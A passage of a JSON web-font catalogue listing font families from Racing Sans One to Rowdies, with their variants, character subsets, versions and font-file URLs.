One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/racingsansone/v8/sykr-yRtm7EvTrXNxkv5jfKKyDCwL3rmWpIBtA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Radley","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v15","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/radley/v15/LYjDdGzinEIjCN19oAlEpVs3VQ.ttf","italic":"http://fonts.gstatic.com/s/radley/v15/LYjBdGzinEIjCN1NogNAh14nVcfe.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rajdhani","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/rajdhani/v10/LDI2apCSOBg7S-QT7pasEcOsc-bGkqIw.ttf","regular":"http://fonts.gstatic.com/s/rajdhani/v10/LDIxapCSOBg7S-QT7q4AOeekWPrP.ttf","500":"http://fonts.gstatic.com/s/rajdhani/v10/LDI2apCSOBg7S-QT7pb0EMOsc-bGkqIw.ttf","600":"http://fonts.gstatic.com/s/rajdhani/v10/LDI2apCSOBg7S-QT7pbYF8Osc-bGkqIw.ttf","700":"http://fonts.gstatic.com/s/rajdhani/v10/LDI2apCSOBg7S-QT7pa8FsOsc-bGkqIw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rakkas","variants":["regular"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/rakkas/v9/Qw3cZQlNHiblL3j_lttPOeMcCw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Raleway","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v18","lastModified":"2020-09-30","files":{"100":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVvao4CPNLA3JC9c.ttf","200":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVtaooCPNLA3JC9c.ttf","300":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVuEooCPNLA3JC9c.ttf","regular":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVvaooCPNLA3JC9c.ttf","500":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVvoooCPNLA3JC9c.ttf","600":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVsEpYCPNLA3JC9c.ttf","700":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVs9pYCPNLA3JC9c.ttf","800":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVtapYCPNLA3JC9c.ttf","900":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVtzpYCPNLA3JC9c.ttf","100italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4WjNPrQVIT9c2c8.ttf","200italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4ejMPrQVIT9c2c8.ttf","300italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4TbMPrQVIT9c2c8.ttf","italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4WjMPrQVIT9c2c8.ttf","500italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4VrMPrQVIT9c2c8.ttf","600italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4bbLPrQVIT9c2c8.ttf","700italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4Y_LPrQVIT9c2c8.ttf","800italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4ejLPrQVIT9c2c8.ttf","900italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4cHLPrQVIT9c2c8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Raleway Dots","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ralewaydots/v8/6NUR8FifJg6AfQvzpshgwJ8kyf9Fdty2ew.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Ramabhadra","variants":["regular"],"subsets":["latin","telugu"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ramabhadra/v10/EYq2maBOwqRW9P1SQ83LehNGX5uWw3o.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ramaraja","variants":["regular"],"subsets":["latin","telugu"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ramaraja/v5/SlGTmQearpYAYG1CABIkqnB6aSQU.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rambla","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rambla/v8/snfrs0ip98hx6mr0I7IONthkwQ.ttf","italic":"http://fonts.gstatic.com/s/rambla/v8/snfps0ip98hx6mrEIbgKFN10wYKa.ttf","700":"http://fonts.gstatic.com/s/rambla/v8/snfos0ip98hx6mrMn50qPvN4yJuDYQ.ttf","700italic":"http://fonts.gstatic.com/s/rambla/v8/snfus0ip98hx6mrEIYC2O_l86p6TYS-Y.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rammetto One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rammettoone/v9/LhWiMV3HOfMbMetJG3lQDpp9Mvuciu-_SQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Ranchers","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ranchers/v8/zrfm0H3Lx-P2Xvs2AoDYDC79XTHv.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Rancho","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rancho/v11/46kulbzmXjLaqZRlbWXgd0RY1g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ranga","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ranga/v6/C8ct4cYisGb28p6CLDwZwmGE.ttf","700":"http://fonts.gstatic.com/s/ranga/v6/C8cg4cYisGb28qY-AxgR6X2NZAn2.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Rasa","variants":["300","regular","500","600","700"],"subsets":["gujarati","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/rasa/v6/xn7gYHIn1mWmdg52sgC7S9XdZN8.ttf","regular":"http://fonts.gstatic.com/s/rasa/v6/xn7vYHIn1mWmTqJelgiQV9w.ttf","500":"http://fonts.gstatic.com/s/rasa/v6/xn7gYHIn1mWmdlZ3sgC7S9XdZN8.ttf","600":"http://fonts.gstatic.com/s/rasa/v6/xn7gYHIn1mWmdnpwsgC7S9XdZN8.ttf","700":"http://fonts.gstatic.com/s/rasa/v6/xn7gYHIn1mWmdh5xsgC7S9XdZN8.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rationale","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rationale/v12/9XUnlJ92n0_JFxHIfHcsdlFMzLC2Zw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ravi Prakash","variants":["regular"],"subsets":["latin","telugu"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/raviprakash/v7/gokpH6fsDkVrF9Bv9X8SOAKHmNZEq6TTFw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Recursive","variants":["300","regular","500","600","700","800","900"],"subsets":["latin","vietnamese"],"version":"v22","lastModified":"2020-11-20","files":{"300":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadDck018vwxjDJCL.ttf","regular":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadCCk018vwxjDJCL.ttf","500":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadCwk018vwxjDJCL.ttf","600":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadBclE18vwxjDJCL.ttf","700":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadBllE18vwxjDJCL.ttf","800":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadAClE18vwxjDJCL.ttf","900":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadArlE18vwxjDJCL.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Red Hat Display","variants":["regular","italic","500","500italic","700","700italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIQ7wUr0m80wwYf0QCXZzYzUoTQ-jSgZYvdCQ.ttf","italic":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIS7wUr0m80wwYf0QCXZzYzUoTg-D6kR47NCV5Z.ttf","500":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIV7wUr0m80wwYf0QCXZzYzUoToDh2EbaDBAEdAbw.ttf","500italic":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AZQbqrFIkJQb7zU.ttf","700":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIV7wUr0m80wwYf0QCXZzYzUoToRhuEbaDBAEdAbw.ttf","700italic":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AYYaKrFIkJQb7zU.ttf","900":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIV7wUr0m80wwYf0QCXZzYzUoTofhmEbaDBAEdAbw.ttf","900italic":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AYgaqrFIkJQb7zU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Red Hat Text","variants":["regular","italic","500","500italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/redhattext/v3/RrQXbohi_ic6B3yVSzGBrMxgb60sE8yZPA.ttf","italic":"http://fonts.gstatic.com/s/redhattext/v3/RrQJbohi_ic6B3yVSzGBrMxQbacoMcmJPECN.ttf","500":"http://fonts.gstatic.com/s/redhattext/v3/RrQIbohi_ic6B3yVSzGBrMxYm4QIG-eFNVmULg.ttf","500italic":"http://fonts.gstatic.com/s/redhattext/v3/RrQKbohi_ic6B3yVSzGBrMxQbZ_cGO2BF1yELmgy.ttf","700":"http://fonts.gstatic.com/s/redhattext/v3/RrQIbohi_ic6B3yVSzGBrMxY04IIG-eFNVmULg.ttf","700italic":"http://fonts.gstatic.com/s/redhattext/v3/RrQKbohi_ic6B3yVSzGBrMxQbZ-UHu2BF1yELmgy.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Red Rose","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-10-08","files":{"300":"http://fonts.gstatic.com/s/redrose/v3/QdVISTYiLBjouPgEUajvsfWwDtc3MH8y8_sDcjSsYUVUjg.ttf","regular":"http://fonts.gstatic.com/s/redrose/v3/QdVISTYiLBjouPgEUajvsfWwDtc3MH8yrfsDcjSsYUVUjg.ttf","500":"http://fonts.gstatic.com/s/redrose/v3/QdVISTYiLBjouPgEUajvsfWwDtc3MH8yn_sDcjSsYUVUjg.ttf","600":"http://fonts.gstatic.com/s/redrose/v3/QdVISTYiLBjouPgEUajvsfWwDtc3MH8yc_wDcjSsYUVUjg.ttf","700":"http://fonts.gstatic.com/s/redrose/v3/QdVISTYiLBjouPgEUajvsfWwDtc3MH8ySvwDcjSsYUVUjg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Redressed","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/redressed/v11/x3dickHUbrmJ7wMy9MsBfPACvy_1BA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Reem Kufi","variants":["regular"],"subsets":["arabic","latin"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/reemkufi/v9/2sDcZGJLip7W2J7v7wQDb2-4C7wFZQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Reenie Beanie","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/reeniebeanie/v11/z7NSdR76eDkaJKZJFkkjuvWxbP2_qoOgf_w.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Revalia","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v7","lastModified":"2020-07-15","files":{"regular":"http://fonts.gstatic.com/s/revalia/v7/WwkexPimBE2-4ZPEeVruNIgJSNM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Rhodium Libre","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rhodiumlibre/v5/1q2AY5adA0tn_ukeHcQHqpx6pETLeo2gm2U.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Ribeye","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ribeye/v9/L0x8DFMxk1MP9R3RvPCmRSlUig.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Ribeye Marrow","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ribeyemarrow/v10/GFDsWApshnqMRO2JdtRZ2d0vEAwTVWgKdtw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Righteous","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/righteous/v9/1cXxaUPXBpj2rGoU7C9mj3uEicG01A.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Risque","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/risque/v8/VdGfAZUfHosahXxoCUYVBJ-T5g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Roboto","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v20","lastModified":"2019-07-24","files":{"100":"http://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgWxPKTM1K9nz.ttf","100italic":"http://fonts.gstatic.com/s/roboto/v20/KFOiCnqEu92Fr1Mu51QrIzcXLsnzjYk.ttf","300":"http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmSU5vAx05IsDqlA.ttf","300italic":"http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TjARc9AMX6lJBP.ttf","regular":"http://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5WZLCzYlKw.ttf","italic":"http://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1Mu52xPKTM1K9nz.ttf","500":"http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAx05IsDqlA.ttf","500italic":"http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51S7ABc9AMX6lJBP.ttf","700":"http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmWUlvAx05IsDqlA.ttf","700italic":"http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TzBhc9AMX6lJBP.ttf","900":"http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmYUtvAx05IsDqlA.ttf","900italic":"http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TLBBc9AMX6lJBP.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Roboto Condensed","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v19","lastModified":"2020-09-15","files":{"300":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVi2ZhZI2eCN5jzbjEETS9weq8-33mZKCMSbvtdYyQ.ttf","300italic":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVg2ZhZI2eCN5jzbjEETS9weq8-19eDpCEYatlYcyRi4A.ttf","regular":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVl2ZhZI2eCN5jzbjEETS9weq8-59WxDCs5cvI.ttf","italic":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVj2ZhZI2eCN5jzbjEETS9weq8-19e7CAk8YvJEeg.ttf","700":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVi2ZhZI2eCN5jzbjEETS9weq8-32meKCMSbvtdYyQ.ttf","700italic":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVg2ZhZI2eCN5jzbjEETS9weq8-19eDtCYYatlYcyRi4A.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Roboto Mono","variants":["100","200","300","regular","500","600","700","100italic","200italic","300italic","italic","500italic","600italic","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-07-13","files":{"100":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_3vuPQ--5Ip2sSQ.ttf","200":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_XvqPQ--5Ip2sSQ.ttf","300":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_gPqPQ--5Ip2sSQ.ttf","regular":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_3vqPQ--5Ip2sSQ.ttf","500":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_7PqPQ--5Ip2sSQ.ttf","600":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_AP2PQ--5Ip2sSQ.ttf","700":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_Of2PQ--5Ip2sSQ.ttf","100italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrlnAeW9AJi8SZwt.ttf","200italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrnnAOW9AJi8SZwt.ttf","300italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrk5AOW9AJi8SZwt.ttf","italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrlnAOW9AJi8SZwt.ttf","500italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrlVAOW9AJi8SZwt.ttf","600italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrm5B-W9AJi8SZwt.ttf","700italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrmAB-W9AJi8SZwt.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Roboto Slab","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojIWWaG5iddG-1A.ttf","200":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoDISWaG5iddG-1A.ttf","300":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjo0oSWaG5iddG-1A.ttf","regular":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojISWaG5iddG-1A.ttf","500":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjovoSWaG5iddG-1A.ttf","600":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoUoOWaG5iddG-1A.ttf","700":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoa4OWaG5iddG-1A.ttf","800":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoDIOWaG5iddG-1A.ttf","900":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoJYOWaG5iddG-1A.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rochester","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rochester/v11/6ae-4KCqVa4Zy6Fif-Uy31vWNTMwoQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Rock Salt","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rocksalt/v11/MwQ0bhv11fWD6QsAVOZbsEk7hbBWrA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Rokkitt","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v19","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1rydpDLE76HvN6n.ttf","200":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pyd5DLE76HvN6n.ttf","300":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1qsd5DLE76HvN6n.ttf","regular":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1ryd5DLE76HvN6n.ttf","500":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1rAd5DLE76HvN6n.ttf","600":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1oscJDLE76HvN6n.ttf","700":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1oVcJDLE76HvN6n.ttf","800":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pycJDLE76HvN6n.ttf","900":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pbcJDLE76HvN6n.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Romanesco","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/romanesco/v9/w8gYH2ozQOY7_r_J7mSn3HwLqOqSBg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ropa Sans","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ropasans/v10/EYqxmaNOzLlWtsZSScyKWjloU5KP2g.ttf","italic":"http://fonts.gstatic.com/s/ropasans/v10/EYq3maNOzLlWtsZSScy6WDNscZef2mNE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rosario","variants":["300","regular","500","600","700","300italic","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v18","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/rosario/v18/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM69GCWczd-YnOzUD.ttf","regular":"http://fonts.gstatic.com/s/rosario/v18/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM68YCWczd-YnOzUD.ttf","500":"http://fonts.gstatic.com/s/rosario/v18/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM68qCWczd-YnOzUD.ttf","600":"http://fonts.gstatic.com/s/rosario/v18/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM6_GDmczd-YnOzUD.ttf","700":"http://fonts.gstatic.com/s/rosario/v18/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM6__Dmczd-YnOzUD.ttf","300italic":"http://fonts.gstatic.com/s/rosario/v18/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQStFwfeIFPiUDn08.ttf","italic":"http://fonts.gstatic.com/s/rosario/v18/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSo9wfeIFPiUDn08.ttf","500italic":"http://fonts.gstatic.com/s/rosario/v18/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSr1wfeIFPiUDn08.ttf","600italic":"http://fonts.gstatic.com/s/rosario/v18/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSlF3feIFPiUDn08.ttf","700italic":"http://fonts.gstatic.com/s/rosario/v18/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSmh3feIFPiUDn08.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rosarivo","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rosarivo/v8/PlI-Fl2lO6N9f8HaNAeC2nhMnNy5.ttf","italic":"http://fonts.gstatic.com/s/rosarivo/v8/PlI4Fl2lO6N9f8HaNDeA0Hxumcy5ZX8.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rouge Script","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rougescript/v9/LYjFdGbiklMoCIQOw1Ep3S4PVPXbUJWq9g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Rowdies","variants":["300","regular","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/rowdies/v2/ptRMTieMYPNBAK219hth5O7yKQNute8.ttf","regular":"http://fonts.gstatic.com/s/rowdies/v2/ptRJTieMYPNBAK21zrdJwObZNQo.ttf","700":"http://fonts.gstatic.com/s/rowdies/v2/ptRMTieMYPNBAK219gtm5O7yKQNute8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Rozha 